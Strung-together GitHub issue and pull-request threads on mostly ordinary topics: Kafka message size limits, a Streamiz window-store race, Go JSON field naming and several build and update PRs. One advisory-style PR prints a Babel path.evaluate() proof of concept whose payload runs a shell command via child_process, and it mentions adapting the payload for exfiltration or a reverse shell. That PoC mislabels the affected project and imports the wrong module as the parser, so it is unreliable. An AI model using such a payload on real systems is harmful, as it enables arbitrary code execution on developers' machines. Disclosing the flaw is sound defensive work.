... 57 55 2 18 115 101 99 116 105 111 110 52 57 12 115 101 97 116 49 55 24 115 101 97 116 82 101 102 52 57 57 57 56 2 18 115 101 99 116 105 111 110 52 57 12 115 101 97 116 49 56 24 115 101 97 116 82 101 102 52 57 57 57 57 2 18 115 101 99 116 105 111 110 52 57 12 115 101 97 116 49 57 24 115 101 97 116 82 101 102 53 48 48 48 48 2 18 115 101 99 116 105 111 110 52 57 0 0 0] [] {0 0 <nil>}} []})
        at github.com/mostafa/xk6-kafka.(*Kafka).writerClass.func1 (native)
        at insertion_simulation (file:///Users/marc-andre.bouvrette/Documents/Entry/k6-performance-tests/build/insertion-simulation.js:198:17(39))
        at native  executor=per-vu-iterations scenario=default source=stacktrace

Note: I didn't pasted the whole error because it's too big, but it's basically a bunch of numbers like these.
Here is my code
import { Connection, SchemaRegistry, SCHEMA_TYPE_AVRO, Writer } from 'k6/x/kafka';
import { config } from './config/config';
import { generateData } from './data';

const brokers = config.kafka.brokerList;
const schemaRegistry = new SchemaRegistry({
    url: config.kafka.schemaRegistryUrl
});
const topic = config.kafka.topic;

const writer = new Writer({
    brokers: brokers,
    topic: topic,
    compression: 'zstd',
    autoCreateTopic: true,
});

const connection = new Connection({
    address: brokers[0],
});

const valueSchemaObject = schemaRegistry.getSchema({
    subject: `${topic}-value`,
    schemaType: SCHEMA_TYPE_AVRO,
});

export function teardown() {
    writer.close();
    connection.close();
}

export default function () {
    for (let index = 0; index < 1; index++) {
        const messages = [
            {
                value: schemaRegistry.serialize({
                    data: generateData(), // a big JSON (around 30k items in an array). Works in my java project Also works with 27k items
                    schema: valueSchemaObject,
                    schemaType: SCHEMA_TYPE_AVRO,
                }),
            },
        ];
        writer.produce({ messages: messages });
    }
}

Let's forget about the compression, I have the same result without it.
Here is my complete code:
// test.ts

import { Connection, SchemaRegistry, SCHEMA_TYPE_AVRO, Writer } from 'k6/x/kafka';
import { config } from './config/config';
import { generateData } from './data';

const brokers = config.kafka.brokerList;
const schemaRegistry = new SchemaRegistry({
    url: config.kafka.schemaRegistryUrl
});
const topic = config.kafka.topic;

const writer = new Writer({
    brokers: brokers,
    topic: topic,
    autoCreateTopic: true,
});

const connection = new Connection({
    address: brokers[0],
});

const valueSchemaObject = schemaRegistry.getSchema({
    subject: `${topic}-value`,
    schemaType: SCHEMA_TYPE_AVRO,
});

export function teardown() {
    writer.close();
    connection.close();
}

export default function () {
    for (let index = 0; index < 1; index++) {
        const messages = [
            {
                value: schemaRegistry.serialize({
                    data: generateData(50, 50, 20),
                    schema: valueSchemaObject,
                    schemaType: SCHEMA_TYPE_AVRO,
                }),
            },
        ];
        writer.produce({ messages: messages });
    }
}

// data.ts

export function generateData(sectionNumber: number, rowNumber: number, seatNumber: number) {
    let seatRef = 1;
    const sections = [];
    for (let sectionId = 0; sectionId < sectionNumber; sectionId++) {
        const sectionName = `section${sectionId}`;
        const rows = [];
        for (let rowId = 0; rowId < rowNumber; rowId++) {
            const rowName = `row${rowId}`;
            const seats = [];
            for (let seatId = 0; seatId < seatNumber; seatId++) {
                seats.push({
                    name: `seat${seatId}`,
                    group: {
                        'string': sectionName,
                    },
                    ref: `seatRef${seatRef}`,
                });
                seatRef++;
            }
            rows.push({
                name: rowName,
                seats: seats,
            });
        }
        sections.push({
            name: sectionName,
            rows: rows,
        });
    }
    return {
        id: '11ead359-db45-dbaa-9137-3b6a288b93c6',
        sections: sections
    };
}

And here is the schema in the registry:
{
  "fields": [
    {
      "name": "id",
      "type": {
        "logicalType": "uuid",
        "type": "string"
      }
    },
    {
      "default": [],
      "name": "sections",
      "type": {
        "items": {
          "fields": [
            {
              "name": "name",
              "type": {
                "avro.java.string": "String",
                "type": "string"
              }
            },
            {
              "default": [],
              "name": "rows",
              "type": {
                "items": {
                  "fields": [
                    {
                      "name": "name",
                      "type": {
                        "avro.java.string": "String",
                        "type": "string"
                      }
                    },
                    {
                      "default": [],
                      "name": "seats",
                      "type": {
                        "items": {
                          "fields": [
                            {
                              "name": "name",
                              "type": {
                                "avro.java.string": "String",
                                "type": "string"
                              }
                            },
                            {
                              "name": "ref",
                              "type": {
                                "avro.java.string": "String",
                                "type": "string"
                              }
                            },
                            {
                              "default": null,
                              "name": "group",
                              "type": [
                                "null",
                                {
                                  "avro.java.string": "String",
                                  "type": "string"
                                }
                              ]
                            }
                          ],
                          "name": "Seat",
                          "type": "record"
                        },
                        "type": "array"
                      }
                    }
                  ],
                  "name": "Row",
                  "type": "record"
                },
                "type": "array"
              }
            }
          ],
          "name": "Section",
          "type": "record"
        },
        "type": "array"
      }
    }
  ],
  "name": "Manifest",
  "namespace": "venue.avro.manifest",
  "type": "record"
}

With generateData(50, 50, 20) I have the issue, with generateData(50, 50, 10) everything works as expected

@turtledev1
I slightly modified your script and found out that you're producing Kafka message that are bigger than the Kafka's 1 MB limit. As you can see below, when calling generateData with (50, 50, 20) you are producing a 1.45 MB message. You need to increase message.max.bytes to be able to produce bigger messages that Kafka accepts.

Script
import { SchemaRegistry, SCHEMA_TYPE_AVRO } from "k6/x/kafka";

const schemaRegistry = new SchemaRegistry();
const valueSchemaObject = JSON.stringify({
    type: "record",
    name: "Value",
    namespace: "dev.mostafa.xk6.kafka",
    fields: [
        {
            name: "id",
            type: {
                logicalType: "uuid",
                type: "string",
            },
        },
        {
            default: [],
            name: "sections",
            type: {
                items: {
                    fields: [
                        {
                            name: "name",
                            type: {
                                "avro.java.string": "String",
                                type: "string",
                            },
                        },
                        {
                            default: [],
                            name: "rows",
                            type: {
                                items: {
                                    fields: [
                                        {
                                            name: "name",
                                            type: {
                                                "avro.java.string": "String",
                                                type: "string",
                                            },
                                        },
                                        {
                                            default: [],
                                            name: "seats",
                                            type: {
                                                items: {
                                                    fields: [
                                                        {
                                                            name: "name",
                                                            type: {
                                                                "avro.java.string": "String",
                                                                type: "string",
                                                            },
                                                        },
                                                        {
                                                            name: "ref",
                                                            type: {
                                                                "avro.java.string": "String",
                                                                type: "string",
                                                            },
                                                        },
                                                        {
                                                            default: null,
                                                            name: "group",
                                                            type: [
                                                                "null",
                                                                {
                                                                    "avro.java.string": "String",
                                                                    type: "string",
                                                                },
                                                            ],
                                                        },
                                                    ],
                                                    name: "Seat",
                                                    type: "record",
                                                },
                                                type: "array",
                                            },
                                        },
                                    ],
                                    name: "Row",
                                    type: "record",
                                },
                                type: "array",
                            },
                        },
                    ],
                    name: "Section",
                    type: "record",
                },
                type: "array",
            },
        },
    ],
    name: "Manifest",
    namespace: "venue.avro.manifest",
    type: "record",
});

// https://stackoverflow.com/a/71209062/6999563
function bytesForHuman(bytes, decimals = 2) {
    let units = ["B", "KB", "MB", "GB", "TB", "PB"];

    let i = 0;
    for (i; bytes > 1024; i++) {
        bytes /= 1024;
    }

    return parseFloat(bytes.toFixed(decimals)) + " " + units[i];
}

function generateData(sectionNumber, rowNumber, seatNumber) {
    let seatRef = 1;
    const sections = [];
    for (let sectionId = 0; sectionId < sectionNumber; sectionId++) {
        const sectionName = `section${sectionId}`;
        const rows = [];
        for (let rowId = 0; rowId < rowNumber; rowId++) {
            const rowName = `row${rowId}`;
            const seats = [];
            for (let seatId = 0; seatId < seatNumber; seatId++) {
                seats.push({
                    name: `seat${seatId}`,
                    group: {
                        string: sectionName,
                    },
                    ref: `seatRef${seatRef}`,
                });
                seatRef++;
            }
            rows.push({
                name: rowName,
                seats: seats,
            });
        }
        sections.push({
            name: sectionName,
            rows: rows,
        });
    }
    return {
        id: "11ead359-db45-dbaa-9137-3b6a288b93c6",
        sections: sections,
    };
}

export default function () {
    const smallMsg = schemaRegistry.serialize({
        data: generateData(50, 50, 10),
        schema: { schema: valueSchemaObject },
        schemaType: SCHEMA_TYPE_AVRO,
    });
    const bigMsg = schemaRegistry.serialize({
        data: generateData(50, 50, 20),
        schema: { schema: valueSchemaObject },
        schemaType: SCHEMA_TYPE_AVRO,
    });
    console.log("Big message size: ", bigMsg.length, " bytes");
    console.log("Big message size (humanized): ", bytesForHuman(bigMsg.length));

    console.log("Small message size: ", smallMsg.length, " bytes");
    console.log("Small message size (humanized): ", bytesForHuman(smallMsg.length));

    // https://docs.confluent.io/platform/current/installation/configuration/broker-configs.html
    console.log("message.max.bytes: ", bytesForHuman(1048588));
}

Console output
$ ./k6 run test.ts

          /\      |‾‾| /‾‾/   /‾‾/
     /\  /  \     |  |/  /   /  /
    /  \/    \    |     (   /   ‾‾\
   /          \   |  |\  \ |  (‾)  |
  / __________ \  |__| \__\ \_____/ .io

  execution: local
     script: test.ts
     output: -

  scenarios: (100.00%) 1 scenario, 1 max VUs, 10m30s max duration (incl. graceful stop):
           * default: 1 iterations for each of 1 VUs (maxDuration: 10m0s, gracefulStop: 30s)

INFO[0000] Big message size:  1524028  bytes             source=console
INFO[0000] Big message size (humanized):  1.45 MB        source=console
INFO[0000] Small message size:  754028  bytes            source=console
INFO[0000] Small message size (humanized):  736.36 KB    source=console
INFO[0000] message.max.bytes:  1 MB                      source=console

running (00m00.6s), 0/1 VUs, 1 complete and 0 interrupted iterations
default ✓ [======================================] 1 VUs  00m00.6s/10m0s  1/1 iters, 1 per VU

     data_received........: 0 B 0 B/s
     data_sent............: 0 B 0 B/s
     iteration_duration...: avg=600.34ms min=600.34ms med=600.34ms max=600.34ms p(90)=600.34ms p(95)=600.34ms
     iterations...........: 1   1.662717/s

I consider this ticket closed.

Sorry to readd to this, but even with compression, I have the same error, even though the message is way smaller.
There also seem to be a misconception on your side that the compression type needs to be on the topic level for it to work, but it's not true if the topic has the 'producer' compression type, which our has (see https://kafka.apache.org/documentation/#topicconfigs_compression.type).

This configuration accepts the standard compression codecs ('gzip', 'snappy', 'lz4', 'zstd'). It additionally accepts 'uncompressed' which is equivalent to no compression; and 'producer' which means retain the original compression codec set by the producer.

Maybe the compression is not used correctly in the writer?

@turtledev1

True. You need to set the compression type on the writer with compression key, as you did in your original message. Otherwise the writer cannot figure out the compression type by itself.
I will double-check to see if I can produce a large compressed message that doesn't exceed 1 MB.

In the mean time, can you check the output size of the messages produced by your writer in your own application with the same amount of raw data (1.45 MB).

@turtledev1
I ran some tests and found out that the compression is working perfectly when message is produced to Kafka. However, you need to increase the batchBytes in your writer config to a value bigger than or equal to your possible uncompressed message size. I set the value to 1024 * 1024 * 2 (2 MB) and the test ran successfully.

Omg thank you so much! I confirm that this works! Really appreciate the time you took to help me!


Client-side form validation should validate only touched fields

If you have a content type with multiple required fields, in the edit form the validation error triggers for all fields once you blur the first required field. I think it should only validate fields that are dirty, then rely on server-side validation errors to trigger error for all fields (in case I only fill-in one required field, out of many)

@tiberiuichim +1. It is best practice in form validation to only client-side validate a form field when the user interacted with that particular field (mouse click, type, etc).


Windowed KTables appear to have a concurrency issue.

Description
I am seeing the following exception when using Windowed KTables in Streamiz 1.6.0:
fail: Streamiz.Kafka.Net.Processors.StreamThread[0]
      stream-thread[urn.menzies.falcona.interface_tableruntobarcodestable-1424c242-4ed5-48a9-927f-c3e6b8abe430-stream-thread-0] Encountered the following error during processing:
      System.InvalidOperationException: Collection was modified; enumeration operation may not execute.
         at System.Collections.Generic.HashSet`1.Enumerator.MoveNext()
         at Streamiz.Kafka.Net.State.InMemory.InMemoryWindowStore.RemoveExpiredData()
         at Streamiz.Kafka.Net.State.InMemory.InMemoryWindowStore.Fetch(Bytes key, Int64 time)
         at Streamiz.Kafka.Net.State.Metered.MeteredWindowStore`2.<>c__DisplayClass20_0.<Fetch>b__0()
         at Streamiz.Kafka.Net.Crosscutting.ActionHelper.MeasureLatency[T](Func`1 actionToMeasure, Sensor sensor)
         at Streamiz.Kafka.Net.Processors.KStreamWindowAggregateProcessor`4.Process(K key, V value)
         at Streamiz.Kafka.Net.Processors.AbstractProcessor`2.Forward(IEnumerable`1 processors, Action`1 action)
         at Streamiz.Kafka.Net.Processors.AbstractProcessor`2.Forward(K key, V value)
         at Streamiz.Kafka.Net.Processors.AbstractProcessor`2.Process(ConsumeResult`2 record)
         at Streamiz.Kafka.Net.Processors.StreamTask.Process()
         at Streamiz.Kafka.Net.Processors.Internal.TaskManager.Process(Int64 now)
         at Streamiz.Kafka.Net.Crosscutting.ActionHelper.MeasureLatency(Action action)
         at Streamiz.Kafka.Net.Processors.StreamThread.Run()

How to reproduce
Create materializer thusly:
        var materializer
            = InMemoryWindows
                .As<TGroupedKey, TValueResult>(tableName)
                .WithKeySerdes((ISerDes<TGroupedKey>)SerDesHelper.GetSerDes<TGroupedKey>(KafkaConfiguration))
                .WithValueSerdes((ISerDes<TValueResult>)SerDesHelper.GetSerDes<TValueResult>(KafkaConfiguration))
                .WithRetention(TimeSpan.FromMilliseconds(_windowSizeMs));

Topology is created like so:

        builder.Stream<TKey, TValue>(TopicName).GroupBy(Grouper).Aggregate(Initializer, Aggregator, materializer)).Build();

Access store thusly:

        _windowStore ??= TableStream.Store(
            StoreQueryParameters.FromNameAndType(Name, QueryableStoreTypes.WindowStore<TGroupedKey, TValueResult>()));
        _windowStore
                .Fetch(
                    key,
                    now.Subtract(TimeSpan.FromMilliseconds(_windowSizeMs + _windowAdvanceMs)),
                    now.Add(TimeSpan.FromMilliseconds(_windowSizeMs)))
                .ToList();

-- OR --

        _windowStore
                .FetchAll(
                    now.Subtract(TimeSpan.FromMilliseconds(_windowSizeMs + _windowAdvanceMs)),
                    now.Add(TimeSpan.FromMilliseconds(_windowSizeMs)))
                .ToList();

The issue does not occur every time, but only with large volumes of data. I suspect the issue is due to the Streamiz framework calling Fetch() at the same time as our code.
Checklist
Please provide the following information:

[ ] A complete (i.e. we can run it), minimal program demonstrating the problem. No need to supply a project file.
[ ] A code snippet with your topology builder (ex: builder.Stream<string, string>("topic").to("an-another-topic");)
[ ] Streamiz.Kafka.Net nuget version.
[ ] Apache Kafka version.
[ ] Client configuration.
[ ] Operating system.
[ ] Provide logs (with in debug mode (log4net and StreamConfig.Debug) as necessary in configuration).
[ ] Critical issue.

Hey @AntonyLittle,
Thank you for your issue and interest of Streamiz.
I will try to reproduce the issue and fix it as soon as possible.
Quick question : If you have a large amount of data, why not choosing RocksDb as a persistent layer of storage ?
Best regards,

Certainly! We've had some success with adding mutex locking also, but we are still testing it. Hopeful that your fix will do the job :)

@LGouellec Appologies for the delay, we've had some urgent issues. We should be able to report back on the status of your fix today or tomorrow.

@AntonyLittle No worries at all ;)

Can confirm that your changes have fixed the issue. Thank you! Are you able to provide a nuget release?

Awesome @AntonyLittle !  This fix will be part the 1.7.0 release, coming soon.

Awesome @AntonyLittle ! This fix will be part the 1.7.0 release, coming soon.

Do you know roughly how soon "soon" might be? Is there any chance of you doing a 1.6.1 release with just the fix added?

@AntonyLittle
Will be before end of November, I'll publish a 1.7.0-RC1 which will contains this fix in 1 week.


Problem in "/tensorflow/examples" project to build an android app

As we know, there will build three APP and one TF speech app in the 'tensorflow/examples'.
But, I just want to use the  detectorActivity to build an app, aim at to use this app to do a porject named 'Image Recognition'.
So I need to delete three other java file like ClassifierActivity、StylizeActivity、SpeechActvity and so on, and download the model that detectorActivity need. like this

But, when I choose to build apk, there was a problem that "Execution failed for task: downloadFile  org.apache.http.conn.ConnectTineoutException:......."
I use the windows and android studio to build this project.
Is anyone can help me to separate this example just retain the  detectorActivity  and use our's model in android:assets , to help me build an app to do 'Image Recognition' Project. Thx every friends

Nagging Awaiting Response: It has been 14 days with no activityand the awaiting response label was assigned. Is this still an issue?

Nagging Awaiting Response: It has been 14 days with no activityand the awaiting response label was assigned. Is this still an issue?

It has been 14 days with no activity and the awaiting response label was assigned. Is this still an issue?

It has been 14 days with no activity and the awaiting response label was assigned. Is this still an issue?

It has been 14 days with no activity and the awaiting response label was assigned. Is this still an issue?

It has been 15 days with no activity and the awaiting response label was assigned. Is this still an issue?

We are closing this issue for now due to lack of activity. Please comment if this is still an issue for you. Thanks!


Fn key not usable

I've tried fn, Fn, function, Function and none of these options worked to call the function key.
The reason for using this key is to combine it with F6/F7 to dim/brighten the screen.
Is there a different way to press this key or a workaround to accomplish this?

Fn doesn't have a software keycode, so you can't press it. But, the keys for brightness must be somewhere in the key list.


Fixed Arbitrary code execution when compiling specifically crafted malicious code

Affected by this project discord-interactions-js is vulnerable to Incomplete List of Unallowed Inputs when using plugins that rely on internal Babel path.evaluate() or path.evaluateTruthy() methods.
Proof of Concept
const parser = require("@koa/router");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);

Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here
/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}

CWE-184
CWE-697
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Thanks for the PR!  We've since moved to a standard package-lock.json, and run npm update to capture all of these.


yams: 0.7.3 -> 0.69

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for yams is: Last.FM scrobbler for MPD
meta.homepage for yams is: https://github.com/Berulacks/yams
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.69 with grep in /nix/store/4bjjlavlypnjwx7wl4hyswvf8shnpbaz-python3.12-yams-0.69
found 0.69 in filename of file in /nix/store/4bjjlavlypnjwx7wl4hyswvf8shnpbaz-python3.12-yams-0.69

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

yams

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/4bjjlavlypnjwx7wl4hyswvf8shnpbaz-python3.12-yams-0.69 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A yams https://github.com/r-ryantm/nixpkgs/archive/c37340d5e0ae6c502ef7eedd749069b78808533d.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/c37340d5e0ae6c502ef7eedd749069b78808533d#yams

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/4bjjlavlypnjwx7wl4hyswvf8shnpbaz-python3.12-yams-0.69
ls -la /nix/store/4bjjlavlypnjwx7wl4hyswvf8shnpbaz-python3.12-yams-0.69/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review

x86_64-linux

:white_check_mark: 2 packages built:

yams
yams.dist

Maintainer pings
cc @ccellado for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

https://github.com/NixOS/nixpkgs/pull/338038#issuecomment-2319475835


[JENKINS-66785] Replace PNG logo with vectorized image

This PR aims to replace the PNG logo with a more modern looking like vectorized image.
Fixes: https://issues.jenkins.io/browse/JENKINS-66785
Before:

After:

[X] Make sure you are opening from a topic/feature/bugfix branch (right side) and not your main branch!
[X] Ensure that the pull request title represents the desired changelog entry
[X] Please describe what you did
[X] Link to relevant issues in GitHub or Jira
[X] Ensure you have provided tests - that demonstrates feature works or fixes the issue

Released in 2.12.


Update the game over message.

Update the game over message so people know how to play again!

pr review test comment


encoding/json: marshaling should have an option to lowercase field names

What version of Go are you using (go version)?

$ go version

go version go1.14.6 windows/amd64

Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
set GO111MODULE=
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\bjg\AppData\Local\go-build
set GOENV=C:\Users\bjg\AppData\Roaming\go\env
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GOINSECURE=
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\bjg\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=c:\go
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=c:\go\pkg\tool\windows_amd64
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=D:\resources\init_0\backend\go\common\go.mod
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -mthreads -fmessage-length=0 -fdebug-prefix-map=C:\Users\bjg\AppData\Local\Temp\go-build390343214=/tmp/go-build -gno-record-gcc-switches

What did you do?
Created a struct (without json annotations) and marshaled it.
What did you expect to see?
I needed field names with lowerCammelCase.
What did you see instead?
I got them with UpperCammelCase.
Extra
To explain a bit more: go JSON decisions create a huge problem in usability that is very simple to solve.
Go forces developers to write capitalized field names if they are to be marshaled into JSON (as they are public fields).
Go never give you the option to choose field names format when marshaling JSON, except via annotations.
Annotations are terrible and are not an option at all. If I am to write JSON annotation for each field that field is called exactly the same but in other format, that's usability hell. Also, when I rename the field, I should rename annotation as well? I should teach all employees that they have to keep the annotations correct? And consider all of this on a huge API project which has hundreds of structs. That's against the very things go is about, which is simplicity and readability of code.
Because of iteroperation with other code, sometimes structs field names need to be formatted into other formats, and that's not up for a discussion. So we have to jump through hoops to get it to work. First, after JSON generation we used a regex to change each JSON key into desired format. Later, we figured out that is not working for maps (where we don't want to change the keys), so we're doing some reflection preprocessing before JSON marshaling. So yeah, now we're doing reflection twice just to marshal JSON...
I am aware that this discussion already existed. I just can't believe that the decision is still to prevent such a basic feature, so I have to reopen it.

huge problem in usability
Annotations are terrible
that's usability hell
can't believe that the decision is still to prevent such a basic feature

Before I reply, I'd suggest that you try to not write issues in frustration. As a maintainer, they are not only harder to read, but also make me less likely to take the time to understand your issue and write a proper reply. We have a code of conduct precisely so that we can all communicate while being respectful to others :)

I should teach all employees that they have to keep the annotations correct?

If you absolutely can't deal with maintaining two names for each field, the answer is usually generating code. For example, Protobuf generates Go code which produces the corresponding field tags for json. If you just need JSON support, you could do that with something much lighter than Protobuf, like https://medium.com/@aniketawati_75058/go-generate-to-automate-json-tag-generation-for-go-structs-2f83bca1f12c.
Code generation is likely a good idea for a large set of people with hundreds of API structs, anyway. That is going to enable you to implement many other features which could otherwise require copying boilerplate and maintaining duplicates.

As for the feature request in particular: adding an option just to lowercase field names is far too narrow. What if someone wants to convert CamelCase to snake_case instead, would that be yet another option? What if someone wants to turn CamelCase into camelcase? What if someone wants to add a prefix to a field name, or strip a prefix? There are just endless possibilities for such transformations, and field tag options aren't nearly powerful enough for this.

Before I reply, I'd suggest that you try to not write issues in frustration. As a maintainer, they are not only harder to read, but also make me less likely to take the time to understand your issue and write a proper reply. We have a code of conduct precisely so that we can all communicate while being respectful to others :)

That totally makes sense, I agree, I did use frustrated wording and that totally does not help.

If you absolutely can't deal with maintaining two names for each field, the answer is usually generating code. For example, Protobuf generates Go code which produces the corresponding field tags for json. If you just need JSON support, you could do that with something much lighter than Protobuf, like https://medium.com/@aniketawati_75058/go-generate-to-automate-json-tag-generation-for-go-structs-2f83bca1f12c.

Did try it out as well before I wrote this. It still does not solve the problem. For example, if you already have annotation it will not change it - which means if you are changing field name and you want to regenerate the field it will not do. And you still have to generate it every time and teach people to do it and expect them to do it, or run it automatically on checkin gate which is complicating the system. It is just a patch.

As for the feature request in particular: adding an option just to lowercase field names is far too narrow. What if someone wants to convert CamelCase to snake_case instead, would that be yet another option? What if someone wants to turn CamelCase into camelcase? What if someone wants to add a prefix to a field name, or strip a prefix? There are just endless possibilities for such transformations, and field tag options aren't nearly powerful enough for this.

I totally agree. My proposal is adding func(name string) string argument which is mapping struct field name into JSON key name. Also, there would be few implementations that go with the json package like json.LowerCammelCase, json.SnakeCase, etc. So in my usecase I would write something like json.Marshal(val, json.LowerCammelCase).
Also, if passing it with each Marshal / MarshalIdent complicates function signature (you need both of these with and without func param), it might be a good idea to be able to create some struct that has a field with this key-mapping value (or nil if no mapping is to be done), and to call Marshal / MarshalIdent on that one with the similar signature as now.

The encoding/json API is stable, like the rest of the standard library, so we absolutely cannot modify existing function signatures.

if you already have annotation it will not change it

I'm not sure I follow.  You would not edit or maintain the types directly, instead modifying the generator or its input. This is similar to how Protobuf works.

It is just a patch.

I'm sorry but I strongly disagree. Go is a simple language on purpose. If you want high-level control over your types or code, code generation is the usual answer, and it's also a first-class citizen thanks to go generate. This might all change with generics in the future, but that's not something we can rely on right now.

create some struct that has a field with this key-mapping value

You can't change existing behavior, because that would break existing programs. This includes suddenly treating some fields as special.
Really, the only backwards-compatible option you have in encoding/json would be to add an option to Encoder, similar to https://github.com/golang/go/issues/5901#issuecomment-569996223, like Encoder.SetKeyTransform(func(string) string).
Still, beware that the bar for such new options is very high, and encoding/json already has dozens of proposals for new features which we can't accept without exponentially incrementing the complexity of the package and its API. So, given that you can solve this with code generation, I would suggest that you give that a fair shot.

Also, if you do want to suggest API changes to encoding/json, you should turn this into a proposal (https://github.com/golang/proposal). Just beware that, as I said before, the bar for such changes is high.

I understand all of your comments about stability, that's why I mentioned the signatures. Maybe I haven't elaborated, but the basic idea was to:

add a new struct that has such a field to the json package (for now let's call it json.Builder)
that struct would have function Marshal(value interface{}) ([]byte, error) with the same signature as now
package would have defaultBuilder without key mapping and json.Marshal would just call defaultBuilder.Marshal. That way everyone that needs special key marshaling would instantiate json.Builder, json.Marshal would reuse the same code as json.Builder, and json.Marshal signature would not change, hence noone code would be broken.

About code generation, this one did not work because of mentioned issues https://medium.com/@aniketawati_75058/go-generate-to-automate-json-tag-generation-for-go-structs-2f83bca1f12c. I accept I never built my own code generator and I do understand that it is the only way to have a glimpse of generics before generics.
If I hit some performance issues with double reflection solution (as it works well enough for now) I will try to go down the code generation route, but I think my point stands: I don't think we hit some rare or obscure issue here - I think almost everyone building big APIs have this same issue. I think golang is the best program for web servers, and that many of those web servers communicate with other moving parts in JSON, and have the same issue as we do. I think that standard library should provide solution for such an often case.

I have the same concern when I first use the built-in json package.
I'm new to go, and I have spent hours to find out why my custom struct always returns {} after marshal to JSON string. While there is no error happens :(
Until I read the post from the official blog here.
However, I think it might be better if this function(marshal) could raise errors to promote the user in such a situation. because returning {} without error is not helpful to the business code.
Look forward to your comments.

what i am looking for is , it's there any lib or module for json ?
myJson := MyJson{}
jsonObj := myJson.parseObject({"a":1,"b":[],"c":{}})
a := jsonObj.getInt("a")
b := jsonObj.getArray("b")
c := jsonObj.getObj("c")

finally find it :
https://github.com/tidwall/gjson

Duplicate of #23027

FWIW, this extremely popular yaml package does exactly what is being requested here by default: https://pkg.go.dev/gopkg.in/yaml.v3.  It makes sense not to fight the json and yaml case conventions.


COS: Add dashboard for long-term metrics

Overview
Add a dashboard with a panel that visualises the number of jobs per day.

The panel would look like this with real data:

Rationale
A separate dashboard is added to allow querying for longer time periods (this is not suitable for the other visualisations as too many data points are queried, resulting in empty panels with errors or high latency before anything is displayed). Note that the current loki-k8s charm uses the default setting of loki, which does not allow querying more than 30 days in the past.
Checklist

[x] The charm style guide was applied
[x] The contributing guide was applied
[x] The changes are compliant with ISD054 - Managing Charm Complexity
[x] The documentation is generated using src-docs
[x] The documentation for charmhub is updated.
[x] The PR is tagged with appropriate label (urgent, trivial, complex)

@jdkandersson The Draft publish docs job fails because of conflicting content. What do you suggest to solve this problem in this particular case?

The way to do it is to go to discourse and update the content to resolve the conflict. For example, by updating it to the intended content. Just make sure that if there were any community contributions, that we explain why we're changing to docs


Auto update check

close #4
This branch creates a new workflow, which will run every hours, to check the update for existing plugins list by restful api.

why is the entire plugins.json file changed, can we revert that.

remember to update readme  to indicate new plugins will need to be submitted via PR and updates will be automatic after release is published.

it is better we make a more general github action to let the developer auto push to rep(Flow.Launcher.PluginsManifest) when there any release.

if do formating gh action, one thing needs to deal that is the sequence two gh action.

why is the entire plugins.json file changed, can we revert that.

That's change because I have encountered rest resource limit when I test it (60 per hours) so I add one attribute "E-tag" that used to check whether new update is released, and the check won't cause the limit. That is auto generated, and I think it won't affect the template. However, not quite sure whether the model for pluginsmanager may need to change.

it is better we make a more general github action to let the developer auto push to rep(Flow.Launcher.PluginsManifest) when there any release.

That seems great, but I am not sure about what the detail should that be (change the version and release url). Maybe that can be done similarly like this, but may still need a pull request and manually check.

if do formating gh action, one thing the sequence two gh action needs to deal.

